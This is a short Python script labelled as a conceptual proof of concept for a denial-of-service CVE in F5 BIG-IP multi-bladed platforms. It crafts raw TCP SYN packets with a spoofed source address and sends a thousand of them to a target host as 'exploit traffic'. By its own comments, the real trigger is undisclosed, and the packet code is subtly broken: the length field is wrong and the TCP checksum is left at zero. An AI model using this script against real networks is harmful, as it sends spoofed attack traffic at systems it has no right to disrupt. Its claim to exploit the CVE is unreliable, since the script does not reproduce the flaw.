# CVE-2025-61990 - F5 BIG-IP TMM DoS PoC (Conceptual)
# Vulnerability: TMM termination on multi-bladed platforms via undisclosed traffic
# CVSS: 7.5 (HIGH) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
# Affected: F5 BIG-IP multi-bladed hardware platforms (VIPRION series)
#
# Note: This is a conceptual PoC. The exact triggering traffic pattern
# has not been publicly disclosed by F5. Researchers need to perform
# fuzzing or reverse engineering to identify the specific packet
# characteristics that trigger TMM termination.
import socket
import struct
import random
import time
TARGET_HOST = "192.168.1.100" # F5 BIG-IP VIPRION management/data IP
TARGET_PORT = 443 # Target service port (e.g., HTTPS virtual server)
PACKET_COUNT = 1000 # Number of crafted packets to send
DELAY = 0.01 # Delay between packets (seconds)
def craft_malicious_packet():
"""
Craft a network packet designed to trigger TMM abnormal termination.
The exact triggering pattern is undisclosed; this demonstrates a
generic approach using malformed/edge-case traffic patterns.
"""
# TCP SYN with unusual options or fragment patterns
# may trigger edge-case handling in TMM
src_port = random.randint(1024, 65535)
seq_num = random.randint(0, 4294967295)
ack_num = 0
# TCP header with crafted flags/options
data_offset = 5 # 20 bytes header
flags = 0x02 # SYN flag
window = 65535
tcp_header = struct.pack('!HHIIBBHHH',
src_port, TARGET_PORT,
seq_num, ack_num,
(data_offset << 4), flags,
window, 0, 0)
# IP header
ip_header = struct.pack('!BBHHHBBH4s4s',
0x45, 0, # Version/IHL, TOS
40 + len(tcp_header), # Total length
random.randint(0, 65535), # ID
0x4000, # Flags (Don't Fragment)
64, # TTL
6, # Protocol (TCP)
0, # Checksum (calculated by OS)
socket.inet_aton('10.0.0.1'), # Source IP (spoofed)
socket.inet_aton(TARGET_HOST) # Destination IP
)
return ip_header + tcp_header
def send_exploit_traffic():
"""
Send crafted traffic to trigger TMM termination on multi-bladed platform.
"""
print(f"[*] Targeting F5 BIG-IP at {TARGET_HOST}:{TARGET_PORT}")
print(f"[*] Sending {PACKET_COUNT} crafted packets...")
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
for i in range(PACKET_COUNT):
try:
packet = craft_malicious_packet()
sock.sendto(packet, (TARGET_HOST, 0))
if i % 100 == 0:
print(f"[+] Sent {i}/{PACKET_COUNT} packets")
time.sleep(DELAY)
except Exception as e:
print(f"[-] Error sending packet {i}: {e}")
print("[*] Exploit traffic sent. Check target TMM status.")
sock.close()
if __name__ == "__main__":
send_exploit_traffic()